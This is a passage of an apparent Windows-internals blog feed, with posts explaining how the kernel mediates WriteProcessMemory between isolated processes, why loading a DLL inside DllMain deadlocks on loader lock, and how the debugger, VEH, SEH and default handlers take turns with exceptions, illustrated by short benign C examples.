<p><em>The whole</em> <code>WriteProcessMemory</code> <em>flow at a glance — Process A never reaches into Process B directly. The kernel reads the bytes from A's buffer and writes them into B's target address, the only legal path between two isolated processes. Follow the moving</em> <code>data</code> <em>block through the steps below.</em></p>
<h2>Step-by-Step: How the Kernel Handles It</h2>
<h3>1. Memory Layout of Each Process</h3>
<p>Process A has its own user space and a shared kernel space.</p>
<p>Process B also has its own user space and the same shared kernel space.</p>
<p>The kernel space is shared across all processes but is protected — only the kernel itself can access it. User-mode code in Process A or B cannot directly touch kernel memory.</p>
<h3>2. Process Isolation Rules</h3>
<ul>
<li><p>Process A cannot directly read or write Process B's user space.</p>
</li>
<li><p>The kernel enforces this isolation using page tables and privilege checks.</p>
</li>
<li><p>User mode runs with restricted access; kernel mode runs with full privilege.</p>
</li>
</ul>
<h3>3. Getting a Handle (OpenProcess)</h3>
<p>When Process A calls OpenProcess(PROCESS_VM_WRITE, FALSE, B_PID), it is asking the kernel, "Can I get permission to write to Process B's memory?"</p>
<p>The kernel checks whether the caller (Process A) has the required permissions and whether it is allowed by security tokens and access rights.</p>
<p>If the check passes, the kernel returns a handle — a kind of permission ticket. It doesn't give direct access to memory; it's just a reference managed by the kernel.</p>
<h3>4. Writing to the Other Process (WriteProcessMemory)</h3>
<p>Next, Process A uses that handle to call <strong>WriteProcessMemory(hProcessB, targetAddress, buffer, size, NULL).</strong></p>
<ul>
<li><p>The call starts in user space (inside kernel32.dll) and goes through ntdll.dll, which triggers the system call <strong>NtWriteVirtualMemory</strong></p>
</li>
<li><p>The CPU switches from user mode to kernel mode — execution enters the Windows kernel (ntoskrnl.exe).</p>
</li>
<li><p>The kernel checks whether the handle is valid, whether Process A has the required permissions, and whether the target address is within Process B's user space.</p>
</li>
<li><p>The kernel temporarily maps Process B's target memory pages into its own kernel address space. Then, ntoskrnl.exe copies the data from Process A's buffer (in A's user space) into Process B's target address (in B's user space).</p>
</li>
</ul>
<p>The kernel can do this because it runs in ring 0, the most privileged mode of the CPU. After the copy, the mapping is released — meaning no process holds a permanent reference to the other's memory.</p>
<h3>5. What Actually Gets Modified</h3>
<p>The destination is still Process B's user-space memory.</p>
<p>But the operation is executed by the kernel, not directly by Process A.</p>
<p>So yes, the memory being modified belongs to Process B's user space, but it's done through kernel code, not by Process A's user-mode instructions.</p>
<h2>In Summary</h2>
<ul>
<li><p>Process isolation ensures one process cannot directly access another's memory.</p>
</li>
<li><p>Communication between processes happens through kernel-mediated mechanisms like pipes, shared memory, and sockets.</p>
</li>
<li><p>APIs like WriteProcessMemory don't break isolation — they work with kernel permission, using temporary page mappings handled by ntoskrnl.exe.</p>
</li>
<li><p>The kernel acts as the bridge, performing controlled memory operations between isolated processes.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Loader Lock]]></title><description><![CDATA[what is loader lock ?
Loader Lock is a special internal lock , windows holds while loading or unloading DLLs
So Windows restricts these operations inside DllMain to avoid deadlocks or hangs.
So DLL Si]]></description><link>https://rxnveera.blog/loader-lock</link><guid isPermaLink="true">https://rxnveera.blog/loader-lock</guid><dc:creator><![CDATA[rxnveera]]></dc:creator><pubDate>Tue, 21 Jul 2026 10:45:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/83ee7944-a766-47c3-ac1c-cb2e73120fca.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>what is loader lock ?</strong></p>
<p>Loader Lock is a special internal lock , windows holds while loading or unloading DLLs</p>
<p>So Windows restricts these operations inside <strong>DllMain</strong> to avoid deadlocks or hangs.</p>
<p>So DLL Sideloading is not possible.</p>
<p>Inside <strong>DllMain</strong>, Windows holds the <strong>loader lock</strong>.</p>
<p><code>LoadLibrary()</code> also needs the <strong>loader lock</strong>.</p>
<p>So:</p>
<ul>
<li><p>DllMain holds the lock</p>
</li>
<li><p>LoadLibrary waits for the lock</p>
</li>
<li><p>→ <strong>Deadlock</strong> (process hangs)</p>
</li>
</ul>
<p>That’s why <strong>loading another DLL from DllMain is considered unsafe and effectively “not possible.”</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/7ae5fe08-e72e-40b6-b071-971fba069bf7.png" alt="" style="display:block;margin:0 auto" />

<p>Loading another DLL <em>from inside DllMain</em> is unsafe and usually impossible without causing deadlocks.</p>
<pre><code class="language-cpp">BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
    {
        LoadLibrary(L"example.dll");  // ❌ Dangerous here!
    }
    return TRUE;
}
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Windows Exception Handling]]></title><description><![CDATA[Agenda :
what is exception ?
what causes an exception ?
what are the type of exception handler exist ?
who sees it first ?
What windows does by default ?
when you need to register handlers ?
What is windows exception (at OS level) ?

An exception is ...]]></description><link>https://rxnveera.blog/windows-exception-handling</link><guid isPermaLink="true">https://rxnveera.blog/windows-exception-handling</guid><category><![CDATA[windows-internals]]></category><dc:creator><![CDATA[rxnveera]]></dc:creator><pubDate>Mon, 22 Dec 2025 07:08:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766386908797/9b18adf9-4e29-4b64-9bbd-0d056356e327.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Agenda</strong> :</p>
<p>what is exception ?</p>
<p>what causes an exception ?</p>
<p>what are the type of exception handler exist ?</p>
<p>who sees it first ?</p>
<p>What windows does by default ?</p>
<p>when you need to register handlers ?</p>
<p><strong>What is windows exception (at OS level) ?</strong></p>
<ul>
<li><p>An exception is an event that stops the normal execution of code</p>
</li>
<li><p>It typically originates from one of two places :</p>
<ul>
<li><p>Hardware (the CPU)</p>
</li>
<li><p>Software</p>
</li>
</ul>
</li>
</ul>
<p>    <strong>Hardware (CPU)</strong> : The CPU tries to execute an instruction but cannot</p>
<p>    <strong>Example</strong> : Access Violation , Integer Divide by Zero</p>
<ul>
<li><pre><code class="lang-c">      <span class="hljs-keyword">int</span>* ptr = <span class="hljs-literal">nullptr</span>; <span class="hljs-comment">// Pointer is NULL (address 0) </span>
      *ptr = <span class="hljs-number">42</span>; <span class="hljs-comment">// CRASH! Writing to address 0 is illegal</span>
</code></pre>
<p>  The CPU executes the instruction to write 42 to address 0x0. The CPU hardware refuses and triggers an interrupt. The Windows Kernel catches this interrupt and converts it into an Exception Code (like 0xC0000005).</p>
<p>  <strong>Software</strong> : Your program explicitly tells the OS to trigger an exception using the windows API function RaiseException().</p>
</li>
</ul>
<p><strong>The Exception Handling Hierarchy (Order of Precedence) :</strong></p>
<p>When that exception occurs, Windows looks for a handler in a specific order. It does not go straight to your try/catch block immediately.</p>
<p><strong>Order of Precedence :</strong></p>
<ol>
<li><p><strong>Debugger (if attached)</strong> : If a debugger is attached , windows pauses execution and lets the debugger know --&gt; this is called as the first chance exception</p>
</li>
<li><p><strong>Vectored Exception Handler (VEH)</strong> : if no debugger handles it (or none is attached), windows pauses the execution and calls VEH</p>
<ol>
<li><p><strong>Priority</strong> : Highest priority within the application.</p>
</li>
<li><p><strong>Scope</strong> : Global (Process-wide). It handles exceptions from any thread.</p>
</li>
<li><p><strong>Registration</strong> : You must manually register this using <strong>AddVectoredExceptionHandler.</strong></p>
</li>
</ol>
</li>
<li><p><strong>Structured Exception Handling</strong> :</p>
<ol>
<li><p><strong>Priority</strong> : Lower than VEH</p>
</li>
<li><p><strong>Scope</strong> : Local (Thread based and stack based) , It looks for try , catch , except blocks in your specific function and then checks the function that called it , and so on (unwinding the stack)</p>
</li>
</ol>
</li>
<li><p><strong>UnHandledExceptionFilter</strong> : if no SEH handles it , the system calls a top level filter</p>
</li>
<li><p><strong>Default system handler</strong> : if nothing else handles it , windows takes over .</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766387195228/e57daef1-3326-4169-b4c7-95c8d6ef4b21.png" alt class="image--center mx-auto" /></p>
<p><strong>Do we need to register the handlers (or) windows do this by default ?</strong> we need to register the handlers only if we want to prevent the application from getting crashed or log the error before dying. If we are okay with the program closing when it crashes, you do not need to write any handling code.</p>
<p>If you do not register any handlers (VEH or SEH) and your code crashes: 1. Windows invokes the Default Exception Handler. 2. This handler typically collects crash data (Windows Error Reporting). 3. It displays the "Application has stopped working" dialog or simply kills the process silently. 4. The application exits immediately. It does not recover.</p>
<p><strong>Examples :</strong></p>
<p><strong>0x01 - The Default Behavior : No Handler</strong></p>
<p>This program will just crash and close.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;iostream&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">int</span>* badPtr = <span class="hljs-literal">nullptr</span>;
    *badPtr = <span class="hljs-number">10</span>; <span class="hljs-comment">// Exception triggered here by CPU</span>
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p><strong>0x02 - Structured Exception handler</strong></p>
<p>This is the standard way to handle errors in specific blocks of code</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;iostream&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    __try {
        <span class="hljs-comment">// Protected code block</span>
        <span class="hljs-keyword">int</span>* badPtr = <span class="hljs-literal">nullptr</span>;
        *badPtr = <span class="hljs-number">10</span>; 
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        <span class="hljs-comment">// Windows found this handler on the stack!</span>
        <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"Caught an Access Violation! The program is saved."</span> &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
    }

    <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"Program continues execution..."</span> &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p><strong>0x03 - Vectored exception Handler</strong></p>
<p>This handler is called before the SEH block above, even if the crash happens deep inside a function.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;iostream&gt;</span></span>

<span class="hljs-comment">// Your custom VEH function</span>
<span class="hljs-function">LONG WINAPI <span class="hljs-title">MyVectoredHandler</span><span class="hljs-params">(PEXCEPTION_POINTERS pExceptionInfo)</span> </span>{
    <span class="hljs-keyword">if</span> (pExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"[VEH] I saw the crash FIRST (Global Handler)!"</span> &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;

        <span class="hljs-comment">// OPTIONAL: You can try to fix it, or tell Windows to keep searching.</span>
        <span class="hljs-comment">// EXCEPTION_CONTINUE_SEARCH tells Windows to let SEH (the next handler) try.</span>
        <span class="hljs-keyword">return</span> EXCEPTION_CONTINUE_SEARCH; 
    }
    <span class="hljs-keyword">return</span> EXCEPTION_CONTINUE_SEARCH;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-comment">// Register the VEH</span>
    AddVectoredExceptionHandler(<span class="hljs-number">1</span>, MyVectoredHandler);

    __try {
        <span class="hljs-keyword">int</span>* badPtr = <span class="hljs-literal">nullptr</span>;
        *badPtr = <span class="hljs-number">10</span>; 
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"[SEH] Caught locally."</span> &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
    }

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p><strong>Output of the VEH example:</strong></p>
<p>I saw the crash FIRST (Global Handler)! (VEH runs first) Caught locally. (Because VEH returned CONTINUE_SEARCH, SEH got a chance).</p>
<p><strong>Want to dive deeper into Windows internals?</strong></p>
<p><strong>Check out my other blog posts for more deep dives!</strong></p>
]]></content:encoded></item></channel></rss>